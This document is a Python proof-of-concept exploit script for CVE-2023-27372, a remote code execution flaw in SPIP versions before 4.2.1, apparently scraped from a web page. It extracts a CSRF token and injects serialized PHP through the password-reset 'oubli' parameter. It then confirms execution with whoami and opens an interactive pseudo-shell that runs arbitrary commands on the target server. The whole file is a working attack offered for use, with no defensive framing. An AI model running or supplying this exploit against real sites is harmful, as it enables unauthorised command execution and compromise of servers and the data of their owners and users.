import re
import bs4
import sys
import base64
import argparse
import requests
from time import sleep
from lxml import html
from urllib.parse import urlparse
class SPipRCEPoC:
    def __init__(self):
        self.options = self.parseArgs()
    def parseArgs(self):
        parser = argparse.ArgumentParser(description="CVE-2023-27372 SPIP < 4.2.1 - RCE PoC")
        parser.add_argument("-u", "--url", default=None, help="SPIP application domain E.g., https://url.com")
        args = parser.parse_args()
        if args.url is None:
            parser.print_help()
            sys.exit(1)
        return args
    def get_csrf(self, url):
        r = requests.get('%s/spip.php?page=spip_pass' % url, timeout=5, verify=False)
        tree = html.fromstring(r.content)
        csrf_input = tree.xpath('//input[@name="formulaire_action_args"]')
        if csrf_input:
            csrf_value = csrf_input[0].get('value')
            return csrf_value
        else:
            return -1
    def payload(self, url, csrf, payload):
        data = {
            "page": "spip_pass",
            "formulaire_action": "oubli", 
            "formulaire_action_args": csrf,
            "oubli": payload # oubli = vuln param
        }
        r = requests.post('%s/spip.php?page=spip_pass' % url, data=data, timeout=10, verify=False)
        return r.text
    def parse_output(self, text):
        pattern = re.compile(r'\[S\](.*?)\[E\]', re.DOTALL)
        matches = pattern.findall(text)
        return "\n".join(matches)
    def furl(self, url):
        parsed_url = urlparse(url)
        return f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}"
    def check_2(self, url):
        csrf = self.get_csrf(url)
        if csrf == -1:
            print("[-] Unable to grab CSRF Token")
            print("[!] Ensure to retry this a minimum of 3-5 times as sometimes it is unable to grab it, this doesn't mean your target isn't vulnerable.")
            return
        cmd = "echo [S] ; whoami ; echo [E]"
        cmd_encoded = base64.b64encode(cmd.encode()).decode()
        command_str = "<?php exec(base64_decode('{}')); ?>".format(cmd_encoded)
        payload = "s:{}:\"{}\";".format(len(command_str), command_str)
        vulnerable = False
        for _ in range(2):
            output = self.payload(url=url, csrf=csrf, payload=payload)
            if output:
                vulnerable = True
                if 'whoami' in output:
                    print("[!] The Target {} is vulnerable but achieving RCE failed?".format(url)) # figure out why later (if I have time)
                else:
                    print("[+] The Target {} is vulnerable".format(url))
                break
        if not vulnerable:
            print("[-] The Target {} is not vulnerable".format(url))
        else:
            print("[!] Spawning interactive shell")
            sleep(2)
            print("[!] Shell spawned successfully. Ensure to re-type commands in the event they do not provide output.")
            while True:
                try:
                    cmd = input("$ ")
                    if cmd.lower() == "exit":
                        break
                    command_str = "<?php system('echo [' . 'S' . '] ; ' . '{}' . '; echo [' . 'E' . '] ;');?>".format(cmd)
                    payload = "s:{}:\"{}\";".format(len(command_str), command_str)
                    csrf = self.get_csrf(url=url)
                    result = self.payload(url=url, csrf=csrf, payload=payload)
                    output = self.parse_output(result)
                    print(output)
                except KeyboardInterrupt:
                    print("[+] Exiting...")
                    break
    def check(self, url):
        csrf = self.get_csrf(url)
        if csrf == -1:
            return False
        cmd = "echo [S] ; whoami ; echo [E]"
        cmd_encoded = base64.b64encode(cmd.encode()).decode()
        command_str = "<?php exec(base64_decode('{}')); ?>".format(cmd_encoded)
        payload = "s:{}:\"{}\";".format(len(command_str), command_str)
        result = self.payload(url=url, csrf=csrf, payload=payload)
        output = self.parse_output(result)
        if output:
            return output
        else:
            return False
    def run(self):
        options = self.options
        requests.packages.urllib3.disable_warnings()
        requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
        try:
            requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
        except AttributeError:
            pass
        if options.url:
            self.check_2(options.url)
        else:
            print("[-] URL not provided")
if __name__ == '__main__':
    exploit = SPipRCEPoC()
    exploit.run()
                              
                        
                    
                
              
                
             
          
          
暂无评论